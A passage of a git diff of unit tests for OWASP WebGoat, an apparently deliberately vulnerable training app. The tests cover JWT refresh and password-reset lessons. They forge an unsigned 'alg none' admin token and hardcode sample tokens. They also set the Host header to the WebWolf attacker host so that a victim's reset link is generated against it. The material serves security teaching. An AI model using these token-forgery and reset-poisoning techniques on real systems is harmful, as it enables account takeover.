.addClaims(Map.of("admin", "true", "user", "Tom"))
|
||||||
|
.compact();
|
||||||
|
|
||||||
|
// Now checkout with the new token from Tom
|
||||||
|
mockMvc
|
||||||
|
.perform(
|
||||||
|
MockMvcRequestBuilders.post("/JWT/refresh/checkout")
|
||||||
|
.header("Authorization", "Bearer " + tokenWithNoneAlgorithm))
|
||||||
|
.andExpect(status().isOk())
|
||||||
|
.andExpect(jsonPath("$.lessonCompleted", is(true)))
|
||||||
|
.andExpect(
|
||||||
|
jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-refresh-alg-none"))));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void checkoutWithTomsTokenFromAccessLogShouldFail() throws Exception {
|
||||||
String accessTokenTom =
|
String accessTokenTom =
|
||||||
"eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
|
"eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
|
||||||
mockMvc
|
mockMvc
|
||||||
@ -108,7 +128,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void checkoutWitRandomTokenShouldFail() throws Exception {
|
void checkoutWitRandomTokenShouldFail() throws Exception {
|
||||||
String accessTokenTom =
|
String accessTokenTom =
|
||||||
"eyJhbGciOiJIUzUxMiJ9.eyJpLXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
|
"eyJhbGciOiJIUzUxMiJ9.eyJpLXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
|
||||||
mockMvc
|
mockMvc
|
||||||
@ -121,7 +141,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void flowForJerryAlwaysWorks() throws Exception {
|
void flowForJerryAlwaysWorks() throws Exception {
|
||||||
ObjectMapper objectMapper = new ObjectMapper();
|
ObjectMapper objectMapper = new ObjectMapper();
|
||||||
|
|
||||||
var loginJson = Map.of("user", "Jerry", "password", PASSWORD);
|
var loginJson = Map.of("user", "Jerry", "password", PASSWORD);
|
||||||
@ -146,7 +166,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void loginShouldNotWorkForJerryWithWrongPassword() throws Exception {
|
void loginShouldNotWorkForJerryWithWrongPassword() throws Exception {
|
||||||
ObjectMapper objectMapper = new ObjectMapper();
|
ObjectMapper objectMapper = new ObjectMapper();
|
||||||
|
|
||||||
var loginJson = Map.of("user", "Jerry", "password", PASSWORD + "wrong");
|
var loginJson = Map.of("user", "Jerry", "password", PASSWORD + "wrong");
|
||||||
@ -159,7 +179,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void loginShouldNotWorkForTom() throws Exception {
|
void loginShouldNotWorkForTom() throws Exception {
|
||||||
ObjectMapper objectMapper = new ObjectMapper();
|
ObjectMapper objectMapper = new ObjectMapper();
|
||||||
|
|
||||||
var loginJson = Map.of("user", "Tom", "password", PASSWORD);
|
var loginJson = Map.of("user", "Tom", "password", PASSWORD);
|
||||||
@ -172,7 +192,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void newTokenShouldWorkForJerry() throws Exception {
|
void newTokenShouldWorkForJerry() throws Exception {
|
||||||
ObjectMapper objectMapper = new ObjectMapper();
|
ObjectMapper objectMapper = new ObjectMapper();
|
||||||
Map<String, Object> loginJson = new HashMap<>();
|
Map<String, Object> loginJson = new HashMap<>();
|
||||||
loginJson.put("user", "Jerry");
|
loginJson.put("user", "Jerry");
|
||||||
@ -201,7 +221,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void unknownRefreshTokenShouldGiveUnauthorized() throws Exception {
|
void unknownRefreshTokenShouldGiveUnauthorized() throws Exception {
|
||||||
ObjectMapper objectMapper = new ObjectMapper();
|
ObjectMapper objectMapper = new ObjectMapper();
|
||||||
Map<String, Object> loginJson = new HashMap<>();
|
Map<String, Object> loginJson = new HashMap<>();
|
||||||
loginJson.put("user", "Jerry");
|
loginJson.put("user", "Jerry");
|
||||||
@ -229,21 +249,21 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void noTokenWhileCheckoutShouldReturn401() throws Exception {
|
void noTokenWhileCheckoutShouldReturn401() throws Exception {
|
||||||
mockMvc
|
mockMvc
|
||||||
.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout"))
|
.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout"))
|
||||||
.andExpect(status().isUnauthorized());
|
.andExpect(status().isUnauthorized());
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void noTokenWhileRequestingNewTokenShouldReturn401() throws Exception {
|
void noTokenWhileRequestingNewTokenShouldReturn401() throws Exception {
|
||||||
mockMvc
|
mockMvc
|
||||||
.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken"))
|
.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken"))
|
||||||
.andExpect(status().isUnauthorized());
|
.andExpect(status().isUnauthorized());
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void noTokenWhileLoginShouldReturn401() throws Exception {
|
void noTokenWhileLoginShouldReturn401() throws Exception {
|
||||||
mockMvc
|
mockMvc
|
||||||
.perform(MockMvcRequestBuilders.post("/JWT/refresh/login"))
|
.perform(MockMvcRequestBuilders.post("/JWT/refresh/login"))
|
||||||
.andExpect(status().isUnauthorized());
|
.andExpect(status().isUnauthorized());
|
||||||
|
@ -0,0 +1,103 @@
|
|||||||
|
package org.owasp.webgoat.lessons.passwordreset;
|
||||||
|
|
||||||
|
import static org.mockito.Mockito.when;
|
||||||
|
import static org.owasp.webgoat.lessons.passwordreset.ResetLinkAssignment.TOM_EMAIL;
|
||||||
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||||
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.view;
|
||||||
|
|
||||||
|
import org.assertj.core.api.Assertions;
|
||||||
|
import org.junit.jupiter.api.BeforeEach;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.junit.jupiter.api.extension.ExtendWith;
|
||||||
|
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||||
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
|
import org.springframework.core.io.ResourceLoader;
|
||||||
|
import org.springframework.http.HttpHeaders;
|
||||||
|
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||||
|
import org.springframework.test.web.servlet.MvcResult;
|
||||||
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
|
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||||
|
|
||||||
|
@ExtendWith(SpringExtension.class)
|
||||||
|
class ResetLinkAssignmentTest extends LessonTest {
|
||||||
|
|
||||||
|
@Value("${webwolf.host}")
|
||||||
|
private String webWolfHost;
|
||||||
|
|
||||||
|
@Value("${webwolf.port}")
|
||||||
|
private String webWolfPort;
|
||||||
|
|
||||||
|
@Autowired private ResourceLoader resourceLoader;
|
||||||
|
|
||||||
|
@BeforeEach
|
||||||
|
public void setup() {
|
||||||
|
when(webSession.getCurrentLesson()).thenReturn(new PasswordReset());
|
||||||
|
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void wrongResetLink() throws Exception {
|
||||||
|
MvcResult mvcResult =
|
||||||
|
mockMvc
|
||||||
|
.perform(
|
||||||
|
MockMvcRequestBuilders.get("/PasswordReset/reset/reset-password/{link}", "test"))
|
||||||
|
.andExpect(status().isOk())
|
||||||
|
.andExpect(view().name("lessons/passwordreset/templates/password_link_not_found.html"))
|
||||||
|
.andReturn();
|
||||||
|
Assertions.assertThat(resourceLoader.getResource(mvcResult.getModelAndView().getViewName()))
|
||||||
|
.isNotNull();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void changePasswordWithoutPasswordShouldReturnPasswordForm() throws Exception {
|
||||||
|
MvcResult mvcResult =
|
||||||
|
mockMvc
|
||||||
|
.perform(MockMvcRequestBuilders.post("/PasswordReset/reset/change-password"))
|
||||||
|
.andExpect(status().isOk())
|
||||||
|
.andExpect(view().name("lessons/passwordreset/templates/password_reset.html"))
|
||||||
|
.andReturn();
|
||||||
|
Assertions.assertThat(resourceLoader.getResource(mvcResult.getModelAndView().getViewName()))
|
||||||
|
.isNotNull();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void changePasswordWithoutLinkShouldReturnPasswordLinkNotFound() throws Exception {
|
||||||
|
MvcResult mvcResult =
|
||||||
|
mockMvc
|
||||||
|
.perform(
|
||||||
|
MockMvcRequestBuilders.post("/PasswordReset/reset/change-password")
|
||||||
|
.param("password", "new_password"))
|
||||||
|
.andExpect(status().isOk())
|
||||||
|
.andExpect(view().name("lessons/passwordreset/templates/password_link_not_found.html"))
|
||||||
|
.andReturn();
|
||||||
|
Assertions.assertThat(resourceLoader.getResource(mvcResult.getModelAndView().getViewName()))
|
||||||
|
.isNotNull();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void knownLinkShouldReturnPasswordResetPage() throws Exception {
|
||||||
|
// Create a reset link
|
||||||
|
mockMvc
|
||||||
|
.perform(
|
||||||
|
MockMvcRequestBuilders.post("/PasswordReset/ForgotPassword/create-password-reset-link")
|
||||||
|
.param("email", TOM_EMAIL)
|
||||||
|
.header(HttpHeaders.HOST, webWolfHost + ":" + webWolfPort))
|
||||||
|
.andExpect(status().isOk());
|
||||||
|
Assertions.assertThat(ResetLinkAssignment.resetLinks).isNotEmpty();
|
||||||
|
|
||||||
|
// With a known link you should be
|
||||||
|
MvcResult mvcResult =
|
||||||
|
mockMvc
|
||||||
|
.perform(
|
||||||
|
MockMvcRequestBuilders.get(
|
||||||
|
"/PasswordReset/reset/reset-password/{link}",
|
||||||
|
ResetLinkAssignment.resetLinks.get(0)))
|
||||||
|
.andExpect(status().isOk())
|
||||||
|
.andExpect(view().name("lessons/passwordreset/templates/password_reset.html"))
|
||||||
|
.andReturn();
|
||||||
|
|
||||||
|
Assertions.assertThat(resourceLoader.getResource(mvcResult.getModelAndView().getViewName()))
|
||||||
|
.isNotNull();
|
||||||
|
}
|
||||||
|
}
|
@ -6,4 +6,5 @@ spring.main.banner-mode=off
|
|||||||
spring.jpa.properties.hibernate.default_schema=CONTAINER
|
spring.jpa.properties.hibernate.default_schema=CONTAINER
|
||||||
spring.thymeleaf.prefix=classpath:/webwolf/templates/
|
spring.thymeleaf.prefix=classpath:/webwolf/templates/
|
||||||
|
|
||||||
|
webwolf.fileserver.location=${java.io.tmpdir}/webwolf-fileserver
|
||||||
|
|
||||||
|
Reference in New Issue
Block a user